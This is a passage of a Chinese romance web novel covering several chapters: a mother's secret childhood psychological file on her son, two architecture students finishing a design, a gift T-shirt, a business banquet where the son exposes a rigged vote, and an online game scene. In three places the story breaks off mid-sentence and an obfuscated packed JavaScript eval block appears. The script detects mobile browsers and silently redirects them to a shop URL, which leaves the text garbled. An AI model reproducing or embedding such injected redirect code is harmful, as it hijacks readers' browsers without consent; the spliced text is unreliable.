唐雅猛地停在了台阶上,没有回头:“嗯?” “你怎么了?”男生的语气关切,沉稳的眼神安安静静地望着自己母亲的背影。 唐雅快速地回了下头又转过身去:“没事儿啊,你快睡吧。” 说罢转身上楼,直到关上房门,脱离了严禹的视线,唐雅才觉得那种如芒在背的感觉慢慢消散。 刚才有那么一瞬间,她甚至觉得,他仿佛看穿了什么。 他越来越敏锐了,很多时候唐雅几乎想要回避他的目光。 她深深地叹了口气,走到自己的梳妆台前,垂下眼睛,台面下有个上锁的抽屉,她看了许久,才从镜子背后拿出一把快要生锈的钥匙,对着铜锁犹豫了半晌,才下定决定,把钥匙插了进去。 许是很久未打开的缘故,抽屉口处落了些细小的微尘,唐雅轻轻拂去微尘,缓缓拉开抽屉。 里面没有什么贵重的东西,只有一沓普普通通的纸页,可能因为年岁太久的缘故,甚至泛出一些陈旧的黄,失去光泽的纸张微微有些发皱。 曼棠打扫房间时喜欢将她的窗户半掩,此刻有夜风沿着窗缝挤了进来,从纸页上轻轻划走,带起最上面一页无字的封面。 下面一页才是真正的封面,只有一个醒目的标题。 【儿童心理健康评估资料】 唐雅轻轻翻开封面,首页是一张信息表。 姓名:严禹性别:男年龄:8岁 右上角是一张蓝底的证件照,照片中男孩的头发有些长,刘海半掩住他的眼睛,也许是这样的缘故,他的眼神在阴影的遮盖下显得有些沉郁,望着镜头的方向微垂着上眼睑,瘦小的脸上没什么表情,形状好看的嘴唇紧紧抿着,没有弧度。 唐雅伸出手指,缓慢地拂过上面那张稚嫩的脸庞,指尖轻轻地颤抖起来。 这个对外永远雷厉风行、在家永远嬉笑怒骂的女人,在四下无人的暗夜里,静静地落下泪来,她蓦地将资料重新塞回抽屉,紧紧地将空白页按在上面。 “就这样就好,阿禹,永远这样就好。” 48. 再见 方案确定之后,办公楼的设计进度立刻快了起来,就着严禹的初步设计,白念开始和他一起优化细节。 “师兄,我根据章老师的建议,针对办公楼层的空间布置做了一些调整,你看看可以吗?” 白念将电脑屏幕往严禹的方向偏了偏,侧过脸问他。 严禹这两天似乎很忙,随身带了许多厚厚的资料,画图的间隙都在低头翻阅,听到白念叫他,他放下资料,长腿轻轻一用力,椅子就往白念这边滑了一小步,他顺势侧过头来,拿过白念的鼠标开始查看图纸。 玻璃房里的光线很充足,白念的电脑屏幕微微反光,为了看得清楚一些,严禹下意识凑近了些,温热的气息笼罩在白念左侧,让她的侧脸微微发痒。她装作起来接水的样子,不经意地把椅子往后一挪,站起身来走到一旁。 接完水回来,严禹仍旧兀自看得认真,白念干脆靠在他的桌子边等候,无聊的间隙,她视线四处晃了晃,严禹桌上那堆资料在她眼里一晃而过,白念依稀看见几个字。 西南……建设开发……商谈 白念很快收回目光,这是别人的隐私。 她对严禹仅有的了解仅限于他是本专业的优秀学长,其余一无所知。她不想去探看别人的私事。 不过……那几个字还是让她思绪发散了一下。西南地区的建设开发……那天白晟林带着白宇卓来出差,依稀好像跟她说过是为了什么开发项目来的,云城也属于西南地区。 敛下眼神,白念面无表情地喝了口水,不再细想。 左右与她无关。 “我看完了。”男生清澈的嗓音响起,打断了她的思绪,白念应了一声,凑近了过去,弯下腰听他说话。 “你的细节处理得很好,建筑的消防体系相比你之前的方案已经完善了许多,对于公共办公区域的空间尺度也把握得很合理。” 严禹先把优点一个不漏都夸了一遍,刚要继续说话,突然顿了顿,他眼神往自己的右侧看了看。 白念站在他右侧俯着身认真聆听,她微卷的发尾无声地从肩上滑落下来,轻轻落在了他裸露在外的手臂上,空调风轻轻搅动室内空气,轻柔的发尾便若有似无地随着风流拂过他的皮肤。 很轻,又很重。 察觉到严禹的停顿,白念下意识偏了偏头报以疑惑的眼神,并习惯性地捋了下自己掉落的发丝。 那强烈的存在感终于消退,严禹不动声色地蜷缩了下手指,将鼠标挪到独立办公区域的位置,嗓音有点发沉:“这里和我原来的方案相比改动比较大,可以说说你的想法吗?” 白念拿起严禹的初版手稿看了看,回想了一下自己的修改思路,迟疑着回答:“我只是感觉,师兄你的这片区域,唔,怎么说,太过私密了?” 白念话说的委婉。 其实,严禹这块的设计给她的感觉很强烈。他给出的空间尺度过大了一些,宽大的空间应该让人感觉空阔开敞,可是他的设计却非如此,怎么说呢?符合规范,但不常见,门与窗形成很斜的对角线,甚至中间分隔的墙体都是异形,整个空间有种隐秘的割裂与扭曲。 很强烈的封闭感和压抑感。 大约是天赋所在,白念从小有很立体的空间想象力,作为建筑专业的学生,每次做设计都会将自己代入方案身临其境地去感受空间变化,但是严禹这个…… 她潜意识里很抗拒去想象身处其间的感觉。 “私密?”严禹转过头看了看自己的手绘初稿,若有所思。 “当然了,作为私人办公区域,适当的私密感没有错。”白念略笑了下,“只是——” 她伸手指了指严禹图纸上的门窗:“只是我的感觉,站在任意一个开敞口,都看不到另一侧的景象。” 不论是门,还是窗,对面都是结结实实密不透风的墙体。 严禹垂着眼思考的睫毛轻轻颤动,在他脸上投射出一小片阴影,消融于如墨的瞳孔中。他凝视着自己的图纸轻声开口:“你说得对。” 白念闭着眼睛甩了甩头,试图清空自己的想象,她忍着轻微的不适感圆场:“当然了,这只是一种风格差异,并不影响功能的使用,而且这样的设计风格也不是没有……” 她闭了闭嘴,没有往下说。 有几位建筑风格也如此尖锐强烈的名家,无一不是传世的建筑大师,只是…… 美国的肯特,三十五岁自杀。 日本的和岛,终身与抑郁症抗争。 德国的豪斯,烧毁自己的所有设计手稿后消失在公共视野。 白念咬了咬唇,没有继续往下说,她相信严禹比自己更懂这些专业领域的知识。 她下意识又看了眼身前一派温和凝定的男生,她实在难以将这眉目如画的人与那些割裂的东西联系在一起,只是莫名地觉得有些难受。她开玩笑般缓和气氛:“师兄,你是不是很少到这些地方去?” 因为实物看得不多,所以设计得比较意识流,白念下意识这样替严禹解释。 严禹却安静下来,思考半晌才回答她:“是的。我没去过我父亲的办公区域,我母亲那边好像也没怎么去——” 他说着说着,突然猛地噤声。 不对,不是没怎么去过。 他曾经提出过很多次去公司帮忙,唐雅是怎么说的? “不用不用,你学习要紧。” “害,这点小事哪里用得到你,妈一个人就能搞定。” “你对这些事情没经验,不用操心啦。” 甚至有一次他把陈姨做好的消暑甜汤送到唐氏集团楼下,唐雅也要亲自跑下来取,并且催促他赶快回家:“快回去吧,天气太热了。” ——不是他没怎么去过,是唐雅,根本没让他进去过。 “师兄?”白念看严禹许久不说话,凝视着图纸似乎出了神,试探地叫了他一声,“你怎么了?” 轻细的声音唤回了严禹的沉思,他快速掩去自己的情绪,恢复到彬彬有礼的状态,笑容复又温和从容起来:“没事。” 白念眼神示意了一下屏幕上的图纸:“那方案……” 严禹笑了笑:“你的很好,就按照这个版本来。” 白念松了口气,笑容真实了几分:“好。” 内部的细节敲定下来,最后的深化和收尾节奏就迅速快了起来,两个人分工合作,白念负责平面图纸的绘制,严禹负责模型的制作和渲染,三天后,周五吃午饭前,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064192|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人提前半天把最终成果交到了章以苓的桌上。 章以苓翻看着打印好的册子,手指缓缓地在每一个细节上划过,最终定在了平面图上,抬起头看向面前安安静静的两个人:“办公楼层的图是谁画的?” 白念紧张地吞咽了下,轻轻举手:“……我画的。” 章以苓一副毫不意外的表情点点头,转向严禹:“这是你们一起讨论出来的结果吗?” “是。”严禹微微颔首,“严格来说,主要修改意见都是她给的。” 章以苓对他这个回答并不满意,抿了口茶看向他:“那你自己怎么想?” 严禹轻微地皱了皱眉,他自己可以判断出来这版方案没什么问题,不知道章以苓就着这点不放的原因是什么,他缓缓开口:“我上一版的方案确实不太符合常规办公空间的需求,以后我会注意。” 章以苓低下头,环着杯子的手指轻轻敲了敲自己的茶杯,不动声色:“你的设计能力没有问题,那为什么会出现这样的问题?” 明明很好回答的问题,严禹却抿着唇沉默了片刻。白念轻轻转过头看了他一眼,下意识开口替他回答:“师兄前几年不是出国交换了吗?可能关于国内这些类型的建筑风格看得少一些。” 章以苓掀起因为岁月漫长而变得有些松垮的眼皮朝她看来,眼神里难言的意味白念看不懂。严禹也侧过身静静地望着她,原本严肃的脸上有了些轻微的柔和。 两道清晰的目光直直朝她看过来,令白念立刻噤声,以为自己说错话了。 “阿禹,是这样吗?”章以苓复又把目光移到凝视着身侧女生的严禹脸上,男生闻言转过头来,与自己的老师对上视线,脸上恢复沉稳安定,他丝毫不回避章以苓的视线:“是。” 章以苓不着痕迹地叹了口气,伸出手合上册子拍板定案:“那就这样吧,方案没什么问题了,吃完午饭可以提前下班。” . “到了。” 车子照旧停在晋城大学南门,严禹提醒副驾上的女生下车。 “稍等一下。” 白念连忙出声,罕见地没有立刻拉开车门离开,她拿过自己座位旁宽大的白色帆布包低头翻找什么,严禹这才发现她今天除了电脑包意外,还额外背了个单肩包。 “好。”他耐心地等待着女生动作,然后就看见女生扬起一脸笑意,递过来一个鼓鼓囊囊的手提纸袋。 “这是什么?”严禹有点奇怪。 “礼物。”白念笑眼弯弯,面上一片坦然率真,“今天之后就见不到了,辛苦师兄这几天送我回来,一点小小的谢意。” 不知道哪句话让严禹觉得莫名不适,他不着痕迹地抿了抿唇又很快恢复正常,伸手接过纸袋:“谢谢。” 白念很快收回手,拉开车门下了车,将要关门的一瞬间,她又将头探进车内,对着车内面色沉静的男生道别:“哦不对,不是见不到,是开学见。” “再见师兄。”白念笑着,大大方方挥了挥手。 严禹薄唇轻勾,轻轻笑了下:“开学见。” 目送女生安全进到校内,严禹收回目光,轻轻拨开用纸胶带固定住的纸袋。 里面静静地躺着一件纯白色T恤。 49. 酒会 “阿禹回来啦?今天这么早。” 陈姨正在厨房做甜汤,听到开门的声音出来一看,就看到严禹已经到家了,手里拎了个白色纸带,换着鞋也没有放下。她连忙去接:“什么东西啊,我帮你拿。” 严禹已经换好鞋直起身来,把袋子往旁边一让:“不用了。” “我做了甜汤,你要喝点吗?”陈姨又追问了句。 严禹上楼的步子停了一下,回过头笑笑:“不喝了,陈姨,您忙吧。” 看着男生快步上楼的背影,陈曼棠下意识疑惑地嘀咕了一句:“阿禹今天怎么这么急匆匆的。” 一旁正在看着电视里言情剧反派吱哇乱叫的唐老太太听到动静偏过头看了一眼,一脸高深莫测地冲着陈姨偷笑:“孩子大了,有秘密了。” 回到房间,严禹才拎起手中提了一路的纸袋,手指轻轻用力,扯掉上面的封口。 袋子上是一个挺出名的男装品牌logo,价格不算便宜。严禹垂下眼,伸手拿出里面折叠整齐的白色T恤,看起来没有什么图案,简简单单的款式。 纯棉的质感很不错,握在手中柔软舒适,折叠起来的部分露出了尺码标签。 185/116B。 白念大约是目测了一下他的身高才买的,严禹手指摩挲了一下标签上的数字,轻笑了下。 看得还挺准。 他起身走向衣柜,预备把衣服挂起来,轻轻抖开折叠好的衣服,有什么东西一闪而过,他顿了下,缓缓拉开T恤的前襟,随后顿在原地。 衣服的左前方画了一轮落日。 准确来说,是严禹微信头像的落日。 璀璨的夕阳在纯白色的衣服上烈烈燃烧,如同黄昏独自擎着火焰独立于旷野,热烈又空寂。 背景铺陈了大块的浓烈色彩,由曜目的红霞渐变为绛紫的地平,最后消散在严禹紧握衣角的掌心。 仿佛一小片夕阳落在他的手上。 . 由唐氏集团主办的开发商务谈判定在周六下午两点,唐雅把会场定在了唐氏旗下的酒店里。 下午一点半,严禹提前抵达会场,下属公司的主管陈哲早早做好了准备,一看到董事长的商务车停在酒店门口,立刻笑容满面地拉开车门,弓着腰迎接后排的人下车。 车里率先放下一条长腿,裁剪合宜的西裤衬托出主人优越的身形。陈哲顺着上面低调内敛的纹理向上看去,车内人紧接着探出上半身来。 陈哲愣了一下。 来人有一张极其英俊的脸,和他见过的董事长相貌有三分相似,有着唐家人特有的清越气质,只是……太过年轻。 唐氏集团的人都从未见过这未来的集团继承人,他从不涉足集团事务,也没在员工面前露过脸,对他们来说,这位继承人太过神秘,今日一见,陈哲目光有些波动。 尽管是董事长唯一的儿子,但是这样凭空而降的年轻人,真的能适应今天这样严肃正式的场合吗? 陈哲暗自腹诽着,不过商场上打滚的圆滑让他面上丝毫不露情绪,笑容可掬地伸出手去迎接严禹:“小禹来了?我是建设公司的陈哲,请跟着我往这边走。” 十分自来熟又居高临下的称呼让严禹不着痕迹地垂了下眼睛,他很快地看了一眼眼前这个弯着腰的中年人,年过四十,头顶半秃,蹭光瓦亮的地中海在阳光照射下十分光滑,和醒目的啤酒肚形成了和谐的呼应。 他没有多说什么,只是微微颔首,脸上维持着礼貌的轻微笑意:“有劳。” 陈哲眼中笑意更深了,他这样直呼其名就是在试探严禹的底线,现在看来……似乎是个很好拿捏的软柿子。 会场布置在酒店一楼,三层通高的大厅十分气派空阔,陈哲引着严禹往楼上走:“现场已经布置好了,你可以先到二楼休息一下。” 严禹点点头,听从陈哲的安排,进到事先为他准备好的休息室小憩片刻,目送陈哲下去迎接宾客。 毕竟是重要场合,很多人来得很早,会场门口陆续有人抵达,陈哲游刃有余地周旋其间,只是不似刚才对待严禹那般恭敬。 这次来参加商谈的,除了晋城本地的开发商和项目投资人,来的都是西南地区的建设工程公司,都想借着政策的东风搭上唐氏这艘大船,为自己当地引入资本和建设资源。作为此次会谈的东道主一方,陈哲昂着脖子接受来客的恭维,面上一派傲然。 两点一到,主持人宣布此次商务会谈正式开始。 “下面我们有请本次商谈的东道主公司主管——陈哲先生!” 主持人话音落下,席位第一排最中间的陈哲站了起来,转身跟后面乌泱泱的人群微笑着招了招手,整了整自己的领带,才昂首阔步走到台上,拿过话筒,清了清嗓子:“非常高兴今天能站在这里,响应政策,和各位一起为西南地区开发建设贡献一份力量……” 在场除了建设公司的员工,没人认识严禹,以为这次陈哲就是东道主的老大,潜意识以他为尊,铆足了劲给他鼓掌,例行发言完毕后,各个公司发言人纷纷拿着自己的策划书,互相就项目规划做起了专业交流。 “怎么样小禹?还适应吧?商谈就是这个样子,闹哄哄的,一会儿商务流程结束就是酒会,你要是累了就去休息休息。”陈哲下了台,笑容可掬地偏过头说话。 一旁有不明真相的人看到陈哲在和边上一个面容青嫩的年轻人说话,以为是他下属的员工,还扬起音量溜须拍马:“陈总事业有为,连手底下的员工都气质出众啊!” 陈哲转过头去周旋,严禹坐在陈哲替他安排的偏左的位置,闻言只是不动声色道:“还好,我想多学习一下。” 这话说得谨慎又谦虚,陈哲转过身来脸色僵了僵,反驳不了就此作罢。 商务流程其实只是提供一个开发商和投资商互相了解的契机,真正的重头戏还是后面的酒会,许多重要的项目都是在觥筹交错中悄然无声地达成的。 一个小时后,酒会正式开始,陈哲端起红酒杯站起身来就要去应酬,他迈出一只脚又顿住,回过头来看到静静看着他的严禹,又扬起一抹笑:“小禹要不要跟我去走走?虽然唐董事长让你来参会,但你毕竟初来乍到,经验不足,难缠的人交给我,你跟着看看就行。” 要是他识相点拒绝最好,如果非要去,陈哲料定他在自己眼皮子下也翻不出什么风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈哲与那帮人聊了许久,旁边很多插不上话的小公司负责人只能干着急。严禹有意无意往他热聊的方向走去,引起了很多暗中关注着陈哲的人的注意,这样一位面生又年轻英俊的面孔引发了不少人窃窃私语,窸窸窣窣的动静甚至惊动了陈哲。 他不明所以地转过头来,就看到严禹好像逛着逛着往自己这边过来了,他瞳孔轻轻一缩,转头很快地跟身边的人道了别,迎面截住了严禹乱逛的步伐:“小禹你怎么起来了,无聊吗?我带你转转吧。” 眼见这位年轻人都能见缝插针和陈哲插上话,旁边有人坐不住了,纷纷围上来介绍自己,陈哲像条滑不留手的泥鳅,一一应付过去,生怕严禹和他们搭上话似的,带着他往角落里挪。 一路磕磕绊绊快要走到甜品台,陈哲松了口气,还没开口说点什么,突然又有不长眼的人直直撞了过来,举起酒杯就要给他敬酒:“陈总您好,我是云城建设工程公司的白晟林,我们这边有个很合适的项——” 严禹抬手晃了晃酒,引起了来人的注意,他下意识看了眼陈哲旁边这个人,然后准备好的话就顿在了嘴边。 “是你?”白晟林视线在他和陈哲之间来回切换,快速思考这个人和陈哲的关系。 严禹举起酒杯对着他微微一举,笑容不达眼底。 “是我。” 50. 暗斗 两个举着酒杯的人面面相觑,被严禹的突然插话搞得摸不着头脑,纷纷暗自在心里揣测对方的身份。 陈哲看着这个自称从云城来的中年男人,本来心底里很不耐烦,想随便应付两句,但是看到严禹对他微微一笑,有些吃不准他的来头……万一跟总公司有什么交集呢? 虽然说这次的开发合作对象已经……可保不齐总公司突然横插一杠呢?在没有尘埃落定之前,他还是得小心谨慎。 陈哲掩去心底的不耐和紧张,挤出一点礼貌的笑来。 而白晟林看着这个站在陈哲旁边优雅从容的男生,心里也打起了鼓。 他可是记得清清楚楚,眼前这个气度不凡的年轻人,就是那天突然出现在白念身后阻止他们的男生。刚才他一心都在陈哲身上,现在才突然发现,这个人似乎和陈哲关系不浅,甚至……陈哲还有点客气的感觉。 虽然这次前来参会,他是做了充分的准备,盯准了唐氏旗下建设公司的领导,想要攀上这艘行业巨擘,他甚至都打听好了这位陈姓负责人的喜好,就等着引起陈哲的注意,私下里好好拉拢一番。 可这个男生又是谁? 那天晚上天那么黑,他有没有认出来自己? 两厢心思各异的交锋间,严禹举杯打断了这片诡异的沉默,他浅笑一下:“云城?那是个好地方,很有开发潜力。” 陈哲很有眼见力,顺势举着杯子应和了一声:“是是,小禹你认识这位白先生吗?” 严禹眼神轻轻滑过白晟林紧张的脸,浅浅微笑:“不认识。不过既然是商务会谈,不是都该听一听看一看么?” 他的重音落在“都该”两个字上,若有似无地和陈哲对视了一眼,后者心里微微发紧,面上不动声色地打哈哈:“啊,是这样的,都看一看,都看一看。” 一旁白晟林暗暗松了口气,看来男生没有认出自己,他赶紧举起酒杯奉承道:“多谢陈总赏脸!请问您身边这位是……?” 方才一路上严禹都安安静静地不插话,前来应酬的其他公司领导都默认了他是陈哲带来的员工,都忙着找陈哲说话,没人多嘴询问他的身份,这会儿有人开口,陈哲脸上很精彩,他看了看四周,声音下意识低了几分,不情不愿道:“这是……我们董事长的公子。” 白晟林瞬间瞪大了眼睛,没有控制住自己的音量:“唐氏的大少爷???” 他这一声音量不算小,瞬间惊动了许多双暗暗观察着陈哲的眼睛,陈哲暗自朝这个没眼色的小老板翻了个白眼,可是会场里已经安静下来,所有雪亮的眼睛都向他们这个角落投射过来。 严禹微微含笑,伸出手去:“严禹,幸会。” 白晟林跟做梦一样,眼见唐董事长的儿子主动向他伸出手,他如梦如幻地轻轻握了上去:“您、您好。” 一旁有胆大的直接举了杯子堵上来找严禹说话,他伸出的手一触即收,轻飘飘略过白晟林,从容优雅地转向其他人,有条不紊地交谈起来,态度亲和中不乏疏离,保持在一个恰到好处的距离。 找他的人陡然聚成一堆,瞬间打乱了会场上和谐的秩序,当然,也不乏还在观望的人——如果这个年轻人真的有话事权,为什么半场酒会下来都是陈哲一个人在出风头? 不过退一万步他的身份也在这里,更多围上来的人报着先在唐氏未来主人的面前刷个脸的心态,能说上一句算一句,将原本寂静的角落挤了个水泄不通。 严禹瞬间成为会场中炙手可热的核心人物,一旁的陈哲转眼从众星捧月的中心变成了陪衬的角色,他脸色黑沉如水,向刚才热聊的几个人投去一个暗示的眼神。 稍安勿躁。 晚上七点,酒会终于接近尾声。 交际收尾,严禹终于可以放下酒杯休息一会儿,他要了杯冰水润了润嗓子,余光瞥见陈哲带来的一个男员工向他走去,低声询问着什么,他轻轻收回目光,安静地喝了口水。 “陈总。”陈哲偏过头,来人压着声音传话,“之前安排好的环节还要继续吗?” 陈哲看了一眼远处的严禹,轻嗤一声:“继续。” 一切流程都已经安排好,没道理因为一个乳臭未干的家伙打乱自己的阵脚。 主持人拿起话筒走流程:“各位来宾,自由交流环节已经结束。按照预定的流程,下面将由陈总为我们揭晓今天入围开发计划的策划案,欢迎陈总。” 本次商谈还邀请了城建相关的十位专家作为嘉宾,为具有潜力的地方项目打分投票,最后的环节就是揭晓入围的项目名单,上百个参会的公司和项目里,将会有二十个入围的公司,进入下一轮投资开发的竞争环节。 陈哲站在投票箱前面,把票对准了摄像机,主持人配合他唱票,他拿起第一张,第一个名字就是桂城建设公司。 他勾了勾唇,一切都在他的计划范围内有条不紊地进行着,专家组的组长……他可是提前打点好了。 “第一份投票名单为:桂城建设公司、广安工程开发公司……” 主持人替陈哲举着话筒,他不紧不慢地念完第一张票上的公司名单后,陈哲拿起第二张票,名单上的第一家还是桂城建设公司,他稳住脸上的得色,念完名单后拿起第三张,脸色突然一沉。 上面没有桂城建设公司的名字。 是不是专家组的组长没有把他的意思传达清楚,出现了个别的失误? 台下几百人的眼睛都放在他的身上,陈哲稳了稳心神,拿起其他投票。 第四张,没有。 第五张,也没有。 陈哲在众目睽睽下隐秘地出了一身冷汗,他眼神快速地向桂城那伙人瞟了一眼,前天已经把千万款项汇入他账户的男人看向他的眼神有点冷意。 他的手开始颤抖,危急之中他下意识将手中的票往下侧了侧,想要避开摄像机的方向。 只要别人看不见,就不知道名单上到底是谁。 他这么想着,打算随便把投票上的公司挑一家换成桂城的,他吸了口气,就要开口。 “桂——” 他的眼前突然伸出一只纤长的手臂,轻轻帮助他举了举选票,上面的文字清晰地通过机器投影到了大屏幕上,他刚发出声音的喉咙就像被人掐住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13102280|131632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一半,憋胀着脸戛然而止。 陈哲悚然一惊,向手臂的主人看去,严禹一脸关切而绅士地微笑看向他:“陈总,票拿歪了,我帮您扶正。” 男生的声音透过性能良好的麦克风稳稳落在所有人的耳中,台下翘首以盼的许多人正在为看不见选票而着急,这一拨正,他们纷纷对这位天之骄子投去感激和期盼的目光。 待人接物他做得优雅得体,这样重要的环节他也在延续唐氏公正公开的大集团风范。 在台下人看不见的角度,陈哲的瞳孔猛地放大,严禹什么时候上的台!他安排好暗中看住他的人手呢! 刀架在脖子上,他攥紧了手上轻薄得恍若无物的票纸,迟迟不敢开口。 严禹唇角微勾,清润的桃花眼中意味却很深远:“陈总?” 陈哲下意识看了眼坐在第二排的十位专家,尤其是前天在饭桌上跟他称兄道弟的那名组长,那人却轻轻避开了视线。 他终于意识到什么,再次看了眼面前笑得矜贵优雅的年轻人,视死如归般闭了闭眼,哑着声音重新开口,一字一句读出了上面的名单。 一切尘埃落定,参会的人员陆续散去,严禹不再理会如同一潭死水瘫坐在椅子上的陈哲,以及其他想要和他搭话的人,拿起椅子上的西装外套径直走出酒店,看到早已等候在门口的车子和帮他拉开车门的司机,压下上半身就要坐进去。 “严、严公子!” 身后响起一道熟悉的声音,是白晟林急匆匆跟着他的脚步追了出来,严禹垂下眼眸,转过身来站定。 “多谢您的赏识!”白晟林擦擦汗,脸上一派恭维,“我们公司才能拿到入围名额,下一轮正式选拔我们一定竭尽全力!” 严禹笑容很淡:“是贵公司自己有潜力。” “不敢当不敢当。”白晟林讪讪地笑了笑,大起胆子问:“不知道严公子能否赏脸给一个联系方式,有空的话我想请您喝个茶。” 严禹居高临下地看了眼这个面容和善的中年男人,扯了下唇:“好啊。” . 一路飘飘然回到酒店,白晟林还沉浸在天上掉馅饼的喜悦当中,所以当他推开门看到自己原本已经回到云城的妻子静静坐在沙发上时,一下子没有回过神来。 “你怎么来了?不是在家里照顾宇卓吗?” 周淑华避而不答:“项目商谈怎么样了?” 说到这个白晟林就激动起来,他一屁股做到周淑华旁边,甩出正是参加下一轮选拔的协议书:“入围了。说出来你可能不信,我今天得到贵人相助,一切顺利。” 周淑华挑了挑眉:“什么人?” 白晟林直接掏出手机划拉两下,把屏幕递到自己妻子面前:“呐,这个人,你还记得吗?” 周淑华轻轻划了划屏幕,目光定在那张她在晋城大学门口观察了好久的面孔上,眯了眯眼:“他是谁?” 白晟林面有得色:“唐氏集团的公子。” 女人瞳孔一缩,艳红的唇瓣缓慢地翘了起来:“老公。” “嗯?” “你下一轮赢定了。” 51. 倾诉 忙碌了一个星期,白念终于有空登陆冷落已久的游戏。 一上线,系统通告就劈头盖脸的砸了下来。 【系统:亲爱的玩家您好!经过一个月的测试和调整,孩子系统即将在9月1日凌晨上线正式服,系统更新后,万古大陆即将为您带来全新的游戏体验,敬请期待!】 白念看了眼左下角的时间,8月31日,晚上九点半。 那不就是明天? 官方挤牙膏挤了这么久,终于在万众期待中发布了正式公告,难怪世界上消息刷得异常频繁,几秒钟不看就是上百条新消息,随便抓一条来看,全是临时抱佛脚的。 【世界】【单身情歌:cpdd,你是唯一。】 【世界】【樱桃小完犊子:找老公,生完娃就离的那种。】 【世界】【日落青山:你们这些人都太浮躁了,这样怎么找得到对象?像我这样,朴实一点好吗?征婚,富婆看看我,180有腹肌。】 【世界】【万一见鬼了呢:?185八块腹肌男大请求出战。】 【世界】【吃饭睡觉打怪兽:日落青山你忘记删主页了,体重180鉴定完毕。】 【世界】【日落青山撤回一条消息。】 【世界】【吃瓜种地:腹肌照片,别逼我跪下来求你。】 【世界】【万一见鬼了呢:[图片]】 【世界】【我心黄黄:我擦男菩萨,已私信莫辜负。】 【世界】【逍遥剑:怎么全是男的?诚征志同道合的女玩家一起云养娃,不求大富大贵,只要相飞相随。】 【系统:玩家万一见鬼了呢因发布违规图片,已被系统禁言72小时。】 ……有人的地方就有江湖,而江湖里一片喧嚣热闹,鸡飞狗跳。 白念的眼睛在“男大”两个字上停留了几秒钟。 她没记错的话,她初中毕业时候风不语刚高考结束,这么算的话,他现在应该刚好大学毕业?这么漫无目的地想着,她习惯性地打开好友列表,风不语的头像一动不动地灰着。 要不要告诉他明天孩子系统上线了?白念的手指踌躇了片刻,然后收了回来。 算了,反正也不急在一时,她晃了晃鼠标,关闭了列表。 手机屏幕亮了一下。 白念拿起手机,是她在一个经验分享帖下面提的问题被帖主回答了。 【姐妹,你的经历和我很像,也是家里重男轻女,从高中开始就没有生活费了,只是我没有像你一样继续念大学,早早地出来打工养活自己了。我也想过起诉断绝亲子关系,或者起诉父母不履行抚养义务,但是都没有成功,这种情况用法律维权其实很难,反正我已经放弃了。】 白念闭了闭眼,这几天她一直在查询相关的法律知识和别人分享的经验帖,看来看去,她只得出一个结论:难。 心绪堵得厉害,她关掉手机屏幕扔到一边,视线重新转回游戏,有点烦躁。 仗剑放光芒他们也没有上线,白念只想找点事情分散自己的注意力,在世界上看了看,有人在喊物理输出一起刷日常任务,她想了想,点了进去,跟着进了日常副本。 队伍里的人她都不认识,里面的奶妈甚至还没有满级。本着对队友负责的心态,她没有挂机,手动操纵着人物,主动把每个关卡最难的怪先打掉,一路有惊无险地进入最后一关,那个熟悉的獒妖带着小弟堵在五个人面前。 白念按部就班地提起剑就往主怪脸上冲,一套技能打掉了boss三分之一血,但小怪数量众多,护着主怪就劈头盖脸地挠过来,女剑客血量刷刷往下掉,白念下意识跳到奶妈身后,想要让她奶自己一口。 那个奶妈却缩得比她更快,奈何等级不高身板太脆,怪物攻击的群体伤害密不透风地打过来,把白念连同奶妈一起打个正着,两个角色纷纷倒地。 “剑尊干嘛啊,都跟你说了奶妈不会玩,还把怪物仇恨往她那边引,把奶妈害死了怎么打?长没长眼睛啊?” 队里和奶妈挂着情侣标的法师猝不及防地开麦就喷,十分不耐烦的样子。 “……对不起,是我太弱了。”一个细弱的女声也开麦道歉,是躺在地上的奶妈。 白念抿了抿唇。 【队伍】【早睡身体好:不好意思,下意识反应。拉我一下,我出个肉宠自己吃药。】 那个法师充耳不闻,只顾着给自己的情缘喂了颗复活药站起来:“宝宝道什么歉,不是你的问题,先给自己加血,别管她。” 白念愣了一下,然后就看见刚站起来的脆皮奶妈又被怪物一爪挠死在地上。 “唉……算了算了,等你等级高点再打,我拉你起来跑。”男法师骂骂咧咧地重新给奶妈喂了颗复活药,叫上她就想逃跑。 奶妈犹犹豫豫地看了地上的女剑客一眼,还没来得及出声,就被催促道:“快啊,再不走你又要被打了,别管别人了。” 奶妈终于转过身,跟着法师跑出了战场,剩下的两个路人见势不好,也纷纷跑路。 只剩下一个战死的女剑客静静地躺在战场中央,这次战斗默认结束。 游戏界面骤然黯了下去,只剩下黑沉沉的“挑战失败”四个大字横陈在屏幕中央,白念眨了眨眼睛。 单机时期白念也不是没遇到过这样让人无语的场面,作为一个脆皮剑尊,被队友扔下跑路并不是稀奇的事情,她手指轻轻抠了抠键盘,等待自动退出场景。 战斗失败的女剑客武器自动掉落在地上,剑柄上天青色泛着淡淡银白色光芒的剑穗在昏暗的场景中轻微地闪烁了一下。 